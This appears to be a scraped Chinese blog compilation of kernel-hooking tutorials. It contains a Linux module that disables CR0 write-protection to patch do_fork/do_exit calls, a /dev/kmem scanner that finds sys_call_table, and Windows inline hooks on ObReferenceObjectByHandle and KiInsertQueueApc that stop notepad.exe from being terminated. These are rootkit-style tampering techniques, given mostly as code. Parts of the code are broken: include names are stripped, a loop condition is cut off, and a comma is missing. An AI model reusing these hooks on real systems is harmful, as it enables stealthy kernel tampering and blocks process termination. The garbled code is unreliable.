     printk("---z---\tPID:%d exited!\n",current->pid);
 }

 static int replace_fun(unsigned long handle, unsigned long old_fun, unsigned long new_fun)
 {
     unsigned char *p = (unsigned char *)handle;
     int i = 0;
     while(1)
     {
         if(i++ > 128)
             return 0;
         if(*p == 0xe8)
         {//e8是GCC编译出来的普通函数调用的call，当然也可能是某个立即数里面的一个字节
             if((*(int *)(p+1) + (unsigned long)p + 5) == old_fun)
             {//so需要看下看e8后面是不是老地址的偏移值，是的话替换掉
                 *(int *)(p+1) = new_fun - (unsigned long)p - 5;
                 return 1;
             }
         }
         p++;
     }
 }

 static int _init_module(void ) {
     printk("---z---\t+++++++++++\n");
     orig_copy_process = _FORK_copy_process;
     orig_profile_task_exit = _EXIT_profile_task_exit;
     lock_kernel();
     CLEAR_CR0
     replace_fun(_DO_FORK_, _FORK_copy_process, (unsigned long)my_copy_process);
     replace_fun(_DO_EXIT_, _EXIT_profile_task_exit, (unsigned long)my_profile_task_exit);
     SET_CR0
     unlock_kernel();
     return 0;
 }


 static void _cleanup_module(void) {
     printk("---z---\t---------\n");
     lock_kernel();
     CLEAR_CR0
     replace_fun(_DO_FORK_, (unsigned long)my_copy_process, _FORK_copy_process);
     replace_fun(_DO_EXIT_, (unsigned long)my_profile_task_exit, _EXIT_profile_task_exit);
     SET_CR0
     unlock_kernel();
 }

 module_init(_init_module);
 module_exit(_cleanup_module);

装载卸载内核，dmesg看输出

 ---z--- +++++++++++
 ---z--- PID:12668 exited!
 ---z--- PID:642 fork 12671 successed!
 ---z--- PID:12671 exited!
 ---z--- PID:4422 fork 12672 successed!
 ---z--- PID:12672 exited!
 ---z--- PID:6992 fork 12673 successed!
 ---z--- PID:11 fork 12674 successed!
 ---z--- PID:12674 fork 12675 successed!
 ---z--- PID:12675 exited!
 ---z--- PID:12674 exited!
 ---z--- ---------

OK ，很好，，，，，，

  通过/dev/kmem获取系统调用表地址  2008-11-17 21:05:20

分类： LINUX

直接上代码吧，就是sidt之后，通过kmem字符设备搜索指纹。

测试环境: Debian Lenny 2.6.26-2-686

091020:实在是不好意思，之前的代码稍微有一些问题，已经改正了;-)

#include #include #include #include #include #include #include #include #include #define CALLOFF 100 //读取100字节   struct {   unsigned short limit;   unsigned int base; } __attribute__ ((packed)) idtr;  //这个结构表示IDTR寄存器，这个寄存器中保存中断描述符表 的地址     struct {   unsigned short off1;   unsigned short sel;   unsigned char none,flags;   unsigned short off2; } __attribute__ ((packed)) idt;  //中断描述符表中的内容：中断门描述符     unsigned int old_readkmem (int fd, void * buf,size_t off,unsigned int size) //用read方式读取kmem中一定长度内容 {   if (lseek64(fd, (unsigned long long)off,SEEK_SET)!=off)   {     //perror(\"fd lseek\");     return 0;   }     if (read(fd, buf,size)!=size)   {     //perror(\"fd read\");     return 0;   }   }   unsigned long readkmem (int fd, void * buf, size_t off, unsigned int size)//用mmap方式从kmem中读取一定长度内容 {   size_t  moff, roff;   size_t   sz = getpagesize();     char * kmap;     unsigned long ret_old = old_readkmem(fd, buf, off, size); //先用老方法读取,不行再用mmap   if (ret_old != 0)     return ret_old;     moff = ((size_t)(off/sz)) * sz;       roff = off - moff;       kmap = mmap(0, size+sz, PROT_READ, MAP_PRIVATE, fd, moff);     if (kmap == MAP_FAILED)   {       perror("readkmem: mmap");       return 0;  }    memcpy (buf, &kmap[roff], size);    if (munmap(kmap, size) != 0)  {    perror("readkmem: munmap");    return 0;  }    return size; }   int main (int argc, char **argv) {  unsigned sys_call_off;  int kmem_fd;  // /dev/kmem文件描述符  unsigned sct;  char sc_asm[CALLOFF],*p;  /* 获得IDTR寄存器的值 */  asm ("sidt %0" : "=m" (idtr));  printf("idtr base at 0x%X\n",(int)idtr.base);    /* 打开kmem */  kmem_fd = open ("/dev/kmem",O_RDONLY);  if (kmem_fd<0)  {      perror("open");      return 1;  }    /* 从IDT读出0x80向量 (syscall) */  readkmem (kmem_fd, &idt,idtr.base+8*0x80,sizeof(idt)); //idtr.base+8*0x80 表示80中断描述符的偏移  sys_call_off = (idt.off2 << 16) | idt.off1;    //idt.off2 表示地址的前16位，得到syscall地址  printf("idt80: flags=%X sel=%X off=%X\n", (unsigned)idt.flags,(unsigned)idt.sel,sys_call_off);    /* 寻找sys_call_table的地址 */  readkmem (kmem_fd, sc_asm,sys_call_off,CALLOFF);      p = (char*)memmem (sc_asm,CALLOFF,"\xff\x14\x85",3); //只要找到邻近int $0x80入口点system_call的call sys_call_table(,eax,4)指令的机器指令就可以了,call something(,eax,4)指令的机器码是0xff 0x14 0x85，因此搜索这个字符串。  sct = *(unsigned*)(p+3); //sys_call_table地址就在0xff 0x14 0x85之后    if (p)  {    printf ("sys_call_table at 0x%x, call dispatch at 0x%x\n", sct, p);  }    close(kmem_fd);  return 0; } 本文以发表在黑防09期 详谈内核三步走Inline Hook实现 （一）Inline hook原理 Inline hook通俗的说就是对函数执行流程进行修改，达到控制函数过滤操作的目的。理论上我们可以在函数任何地方把原来指令替换成我们的跳转指令，也确实有些人在inline 的时候做的很深，来躲避inline 的检测，前提是必须对函数的流程和指令非常熟悉，且这种深层次的inlline 不具有通用性，稳定性也是问题。本文讨论的是具有通用性的两类inline的实现。 Inline hook原理：解析函数开头的几条指令，把他们Copy到数组保存起来，然后用一个调用我们的函数的几条指令来替换，如果要执行原函数，则在我们函数处理完毕，再执行我们保存起来的开头几条指令，然后调回我们取指令之后的地址执行。 整个Inline hook的过程就大体这样，中间牵扯到对函数的检查，地址的获取就直接调用函数即可。 本文所要讨论的两类Inline hook都是基于上面原理。  说明三点： 1、堆栈平衡是重中之重，参数压栈也需要格外注意 2、CR0寄存器中的WP位控制处理器是否允许往只读内存页写入，为0禁用保护机制。 3、提高中断级别到DISPATCH_LEVEL，禁止线程切换产生的中断                       （二）inline hook应用 Inline hook可分为两类： （1）inline 导出函数，选择ObReferenceObjectByHandle做例子。 （2）inline 未导出函数，选择KiInsertQueueApc做例子。 导出函数前几个字节可以利用windbg自己查看是什么内容，而未导出函数就需要自己解析指令确定需要hook几个字节，其间还有很多问题需要注意。当大家真正的弄懂了我这篇文章，回头再看inline hook就会觉得inline也不过如此。 下面通过2个例子来讲inline hook的使用（这部分知识网上也有很多，但都很零散不系统，本文部分思路及代码的确参考了网上资源，有抄袭之嫌，希望读者谅解。我一直强调“授人以鱼不如授人以渔”，代码并不重要，关键是思想。） 1、inline hook ObReferenceObjectByHandle保护进程 ObReferenceObjectByHandle属于ntoskrnl.exe导出函数，在内核中调用频繁。 NtCreateProcess创建进程需要调用ObReferenceObjectByHandle，NtTerminateProcess需要调用ObReferenceObjectByHandle，基于这我们就可以利用Hook来保护进程同时屏蔽进程的创建。 效果：已经运行的记事本任务管理器无法结束 流程： HookObReferenceObjectByHandle------DetourMyObReferenceObjectByHa ndle----------UnHookObReferenceObjectByHandle 核心代码分析如下： //=======================================inline HOOK ObReferenceObjectByHandle=========================== //ObReferenceObjectByHandle是ntoskrnl.exe导出函数，采用HOOK前五个字节的方式 //字节型数据  unsigned char ULONG  CR0VALUE; BYTE  OriginalBytes[5]={0};             //保存原始函数前五个字节            BYTE JmpAddress[5]={0xE9,0,0,0,0};       //跳转到HOOK函数的地址 extern POBJECT_TYPE *PsProcessType; NTKERNELAPI NTSTATUS ObReferenceObjectByHandle(                                                    IN HANDLE  Handle,                          IN ACCESS_MASK  DesiredAccess,                          IN POBJECT_TYPE  ObjectType  OPTIONAL,                          IN KPROCESSOR_MODE  AccessMode,                          OUT PVOID  *Object,                          OUT POBJECT_HANDLE_INFORMATION  HandleInformation  OPTIONAL                                                    ); //HOOK函数 NTSTATUS DetourMyObReferenceObjectByHandle(                                                IN HANDLE  Handle,                                   IN ACCESS_MASK  DesiredAccess                        IN POBJECT_TYPE  ObjectType  OPTIONAL,                         IN KPROCESSOR_MODE  AccessMode,                        OUT PVOID  *Object,                        OUT POBJECT_HANDLE_INFORMATION  HandleInformation  OPTIONAL); // //hook流程 HookObReferenceObjectByHandle---DetourMyObReferenceObjectByHandle---UnHookObReferenceObjectByHandle void  HookObReferenceObjectByHandle() {      //赋值前面定义的数组   KIRQL Irql;   KdPrint(("[ObReferenceObjectByHandle] :0x%x",ObReferenceObjectByHandle));  //地址验证   //保存函数前五个字节内容   RtlCopyMemory(OriginalBytes,(BYTE *)ObReferenceObjectByHandle,5);   //保存新函数五个字节之后偏移   *(ULONG *)(JmpAddress+1)=(ULONG)DetourMyObReferenceObjectByHandle-((ULONG)ObReferenceObjectByHandle+5);   //开始inline hook   //关闭内存写保护   _asm        {     push eax              mov eax, cr0        mov CR0VALUE, eax        and eax, 0fffeffffh         mov cr0, eax       pop eax   }      //提升IRQL中断级   Irql=KeRaiseIrqlToDpcLevel();   //函数开头五个字节写JMP    RtlCopyMemory((BYTE *)ObReferenceObjectByHandle,JmpAddress,5);   //恢复Irql   KeLowerIrql(Irql);   //开启内存写保护      __asm        {                 push eax              mov eax, CR0VALUE               mov cr0, eax              pop eax          }    } _declspec (naked) NTSTATUS OriginalObReferenceObjectByHandle(IN HANDLE  Handle,                                                                IN ACCESS_MASK  DesiredAccess,                                                                IN POBJECT_TYPE  ObjectType  OPTIONAL,                                                                IN KPROCESSOR_MODE  AccessMode,                                                                OUT PVOID  *Object,                                                                OUT POBJECT_HANDLE_INFORMATION  HandleInformation  OPTIONAL)                                 {      _asm        {             mov edi,edi       push ebp       mov ebp,esp       mov eax,ObReferenceObjectByHandle       add eax,5       jmp eax                          }    } NTSTATUS DetourMyObReferenceObjectByHandle(                                                IN HANDLE  Handle,                                                IN ACCESS_MASK  DesiredAccess,                                                IN POBJECT_TYPE  ObjectType  OPTIONAL,                                           IN KPROCESSOR_MODE  AccessMode,                                                OUT PVOID  *Object,                                                OUT POBJECT_HANDLE_INFORMATION  HandleInformation  OPTIONAL)                         {      NTSTATUS status;      //调用原函数      status=OriginalObReferenceObjectByHandle(Handle,DesiredAccess,ObjectType,AccessMode,Object,HandleInformation);      if((status==STATUS_SUCCESS)&&(DesiredAccess==1))        {             if(ObjectType== *PsProcessType)            {              if( _stricmp((char *)((ULONG)(*Object)+0x174),"notepad.exe")==0)                {                     ObDereferenceObject(*Object);                  return STATUS_INVALID_HANDLE;                }            }        }      return status;    } void UnHookObReferenceObjectByHandle() {      //把五个字节再写回到原函数      KIRQL Irql;        //关闭写保护      _asm        {          push eax              mov eax, cr0               mov CR0VALUE, eax               and eax, 0fffeffffh                mov cr0, eax              pop eax          }        //提升IRQL到Dpc        Irql=KeRaiseIrqlToDpcLevel();      RtlCopyMemory((BYTE *)ObReferenceObjectByHandle,OriginalBytes,5);      KeLowerIrql(Irql);        //开启写保护      __asm        {                     push eax       mov eax, CR0VALUE        mov cr0, eax              pop eax          } } 驱动加载后，结束记事本程序如下：       （图 一） 详细分析： 1、ObReferenceObjectByHandle分析 NTSTATUS    ObReferenceObjectByHandle(     IN HANDLE  Handle,     IN ACCESS_MASK  DesiredAccess,     IN POBJECT_TYPE  ObjectType  OPTIONAL,     IN KPROCESSOR_MODE  AccessMode,     OUT PVOID  *Object,     OUT POBJECT_HANDLE_INFORMATION  HandleInformation  OPTIONAL     ); 函数原型如上，由句柄获取对象指针，函数返回值： STATUS_SUCCESS                        调用成功 STATUS_OBJECT_TYPE_MISMATCH         STATUS_ACCESS_DENIED                 权限不够 STATUS_INVALID_HANDLE                无效句柄          调用NtTerminateProcess需要调用ObReferenceObjectByHandle，因此我们通过对函数返回值进程修改来达到保护进程。但是NtCreateProcess（最终调用的PspCreateProcess）同样调用这个函数，如果不加区分的话，创建进程同样被禁止了，那么如何区分到底是谁在调用呢。参考WRK，我发现可以通过第二个参数DesiredAccess来判别，创建进程和结束进程第二个参数明显不同，PROCESS_CREATE_PROCESS和PROCESS_TERMINATE，问题就解决了。 PspCreateProcess位于 WRK-v1.2\base\ntos\ps\create.c 调用ObReferenceObjectByHandle代码： Status = ObReferenceObjectByHandle (ParentProcess,                                             PROCESS_CREATE_PROCESS,                                             PsProcessType,                                             PreviousMode,                                             &Parent,                                             NULL); NtTerminateProcess位于 WRK-v1.2\base\ntos\ps\psdelete.c 调用ObReferenceObjectByHandle代码： st = ObReferenceObjectByHandle (ProcessHandle,                                     PROCESS_TERMINATE,                                     PsProcessType,                                     KeGetPreviousModeByThread(&Self->Tcb),                                     &Process,                                     NULL); DesiredAccess参数说明： #define PROCESS_TERMINATE         (0x0001) // winnt #define PROCESS_CREATE_THREAD     (0x0002) // winnt #define PROCESS_SET_SESSIONID     (0x0004) // winnt #define PROCESS_VM_OPERATION      (0x0008) // winnt #define PROCESS_VM_READ           (0x0010) // winnt #define PROCESS_VM_WRITE          (0x0020) // winnt // begin_ntddk begin_wdm begin_ntifs #define PROCESS_DUP_HANDLE        (0x0040) // winnt // end_ntddk end_wdm end_ntifs #define PROCESS_CREATE_PROCESS    (0x0080) // winnt #define PROCESS_SET_QUOTA         (0x0100) // winnt #define PROCESS_SET_INFORMATION   (0x0200) // winnt #define PROCESS_QUERY_INFORMATION (0x0400) // winnt #define PROCESS_SET_PORT          (0x0800) #define PROCESS_SUSPEND_RESUME    (0x0800) // winnt 2、函数调用说明 C语言中我们调用一个函数就直接写函数名就可以，但是实际是进行了下面的操作： 把函数参数压入堆栈，压入函数返回地址，调用函数，为新函数开辟堆栈空间申请局部变量， 恢复堆栈保持堆栈平衡 （_stdcall调用方式）汇编代码就是： Push 参数4 Push 参数3 Push 参数2 Push 参数1 Call  函数  ；call指令同时完成2个操作，一是把返回地址压入堆栈，二跳转到调用函数入口地址 Push  ebp Mov ebp,esp Sub  esp, XX  ;开辟栈帧空间 …… Add  esp ,XX Pop ebp Retn          ;恢复堆栈平衡 堆栈详细情况： ESP 局部变量 EBP 返回地址 参数1 参数2 参数3 参数4 堆栈是由高地址到低地址。 参数就通过EBP来去，四字节对齐的 参数4----------------------EBP+0x14 参数3----------------------EBP+0x10 参数2----------------------EBP+0xc 参数1--------------------- EBP+0x8 局部变量则通过Ebp-XX来获取 因此inline的时候要时刻考虑堆栈平衡，破坏了堆栈平衡就会导致函数崩溃。 我通常inline hook的思路就是三步走： HOOK函数-----DetourMy处理函数----------UnHook函数 处理函数中对返回结果或者中间数据进行修改处理，然后调用原始函数。由于在我们处理的时候原始函数已经被hook了，所以我自己构造了一个原始函数，但是由于参数在我们hook前已经压人堆栈了，所以这里我们不用重新开辟栈帧，因此声名函数类型为_declspec (naked) 。有人就会问那么你调用处理函数的时候，参数不是重复压栈了，这里请注意，我们是通过JMP方式跳转到我们处理函数入口地址的，而不是Call的形式，所以并没有执行上面所说的函数调用过程，参数仍然是原始函数的。也就是说在真个inline hook过程中我们不能破坏原始栈帧的EBP。 关于函数调用很栈帧的相关联系可能比较难理解，我也在尽肯能的用通俗的话来解释清楚，有什么不理解的地方或者个人见解欢迎大家跟我交流。 2、inline hook KiInsertQueueApc对抗插APC杀进程 KiInsertQueueAPc为内核未导出函数，我下面提供的代码可以作为未导出函数inline的通用模板来使用，大家根据自己需要进行修改，基于inline ObReferenceObjectByHandle已经把原理分析了，这部分我就不详加分析，仍然采用的但不走，Hook函数---DetourMy函数---UnHook函数 直接看核心代码： //===================inline hook KiInsertQueueApc==================== //KiInsertQueueApc为内核未导出函数，可以从导出函数KeInsertQueueApc定位 //修改KiInsertQueueApc开头5字节 //处理函数思路：apc-->kthread---apc_state--eprocess--进程名字 //HookKiInsertQueueApc---DetourMyKiInsertQueueApc---UnHookKiInsertQueueApc ULONG CR0VALUE; ULONG g_KiInsertQueueApc;             BYTE JmpAddress[5]={0xE9,0,0,0,0};       //跳转到HOOK函数的地址 BYTE  OriginalBytes[5]={0};             //保存原始函数前五个字 VOID FASTCALL DetourMyKiInsertQueueApc(IN PKAPC Apc,IN KPRIORITY Increment); VOID WPOFF() {   _asm        {          push eax              mov eax, cr0               mov CR0VALUE, eax               and eax, 0fffeffffh                mov cr0, eax              pop eax       cli          };    } VOID WPON() {     __asm        {            sti     push eax              mov eax, CR0VALUE               mov cr0, eax              pop eax          }; } //1、获取KiInsertQueueApc地址 ULONG GetFunctionAddr( IN PCWSTR FunctionName)     //PCWSTR常量指针，指向16位UNICODE {   UNICODE_STRING UniCodeFunctionName;   RtlInitUnicodeString( &UniCodeFunctionName, FunctionName );   return (ULONG)MmGetSystemRoutineAddress( &UniCodeFunctionName );    } ULONG GetKiInsertQueueApcAddr() {   ULONG sp_code1=0x28,sp_code2=0xe8,sp_code3=0xd88a;  //特征码,sp_code3 windbg显示错误，应该为d88a   ULONG address=0;   PUCHAR addr;   PUCHAR p;   addr=(PUCHAR)GetFunctionAddr(L"KeInsertQueueApc");   for(p=addr;p   {     if((*(p-1)==sp_code1)&&(*p==sp_code2)&&(*(PUSHORT)(p+5)==sp_code3))     {       address=*(PULONG)(p+1)+(ULONG)(p+5);       break;     }   }   KdPrint(("[KeInsertQueueApc] addr %x\n",(ULONG)addr));     KdPrint(("[KiInsertQueueApc] address %x\n",address));     return address; } VOID HookKiInsertQueueApc() {      KIRQL Irql;   g_KiInsertQueueApc=GetKiInsertQueueApcAddr();   KdPrint(("[KiInsertQueueApc] KiInsertQueueApc %x\n",g_KiInsertQueueApc));     // 保存原函数的前字节内容     RtlCopyMemory (OriginalBytes, (BYTE*)g_KiInsertQueueApc, 5);   //新函数对原函数的偏移地址     *( (ULONG*)(JmpAddress + 1) ) = (ULONG)DetourMyKiInsertQueueApc - (ULONG)g_KiInsertQueueApc - 5;     // 禁止系统写保护，提升IRQL到DPC     WPOFF();     Irql = KeRaiseIrqlToDpcLevel();     //inline hook函数   RtlCopyMemory ( (BYTE*)g_KiInsertQueueApc, JmpAddress, 5 );     // 恢复写保护，降低IRQL     KeLowerIrql(Irql);     WPON();   } //原函数 _declspec (naked) VOID FASTCALL OriginalKiInsertQueueApc(IN PKAPC Apc,IN KPRIORITY Increment) {   _asm   {     //前五个字节     mov edi,edi       push ebp       mov ebp,esp              mov eax,g_KiInsertQueueApc       add eax,5       jmp eax   } } //处理函数 //apc--kthread--apc_state--eprocess VOID FASTCALL DetourMyKiInsertQueueApc(IN PKAPC Apc,IN KPRIORITY Increment) {   ULONG thread;   ULONG process;   if(MmIsAddressValid((PULONG)((ULONG)Apc+0x008)))    //地址验证 KAPC结构+008--->kthread     thread=*((PULONG)((ULONG)Apc+0x008));   else     return ;   if(MmIsAddressValid((PULONG)((ULONG)thread+0x044))) //kthread+30-->KAPC_STATE+10-->eprocess     process=*((PULONG)((ULONG)thread+0x044));   else     return ;     if(MmIsAddressValid((PULONG)((ULONG)process+0x174)))  //eprocess+174---->进程名字   {     if((_stricmp((char *)((ULONG)process+0x174),"notepad.exe")==0)&&(Increment==2))     {       return ;     }     else       OriginalKiInsertQueueApc(Apc,Increment);   }   else     return; } //卸载函数 VOID UnHookKiInsertQueueApc() {   KIRQL Irql;     WPOFF();     Irql = KeRaiseIrqlToDpcLevel();     //inline hook函数     RtlCopyMemory ( (BYTE*)g_KiInsertQueueApc, OriginalBytes, 5);     // 恢复写保护，降低IRQL     KeLowerIrql(Irql);     WPON();   }  考虑到大家水平不一，对一些问题我详细如下： 1、特征码的寻找 利用windbg的kernel debug来查找： uf  KeInsertQueueApc nt!KeInsertQueueApc+0x3b: 804e6d0a 8b450c          mov     eax,dword ptr [ebp+0Ch] 804e6d0d 8b5514          mov     edx,dword ptr [ebp+14h] 804e6d10 894724          mov     dword ptr [edi+24h],eax 804e6d13 8b4510          mov     eax,dword ptr [ebp+10h] 804e6d16 8bcf            mov     ecx,edi 804e6d18 894728          mov     dword ptr [edi+28h],eax 804e6d1b e8523fffff        call    nt!KiInsertQueueApc (804dac72) 804e6d20 8ad8 （错误）  mov     bl,al 特征码就是sp_code1=0x28 sp_code2=0xe8 sp_code3=0xd88a（windbg显示有误，应该是d88a ） 这种方法就是通过已导出函数定位未导出函数通常使用的方法，具有通用性。详细见代码。 2、取EPRocess的过程 Apc-----kthread-----apc_state—eprocess dt  _KAPC             偏移0x008指向KTHREAD dt  _KTHREAD         偏移0x034指向KAPC_STATE dt  _KAPC_STATE      偏移0x10指向EPROCESS dt  _EPROCESS         偏移0x174指向进程名 (三)总结  很多人觉得inline hook比较难，处理起来很麻烦。但是我相信看完我这篇文章，你一定不会这么认为了，inline hook其实只要细心，注意细节跟别的hook没什么两样。本人采用的三步走inline hook做到了把inline简单化，同时有保证了堆栈的平衡。  由于代码采用的硬编码，编译环境是sp3+VMware，请根据自己操作系统自行修改。欢迎读者跟我交流。*转载请注明来自看雪论坛@PEdiy.com

注意：
ubuntu等发行版已经禁用了/dev/kmem，可以查看/boot/config-2.6.xx，grep一下DEV_KMEM，可以发现是no set。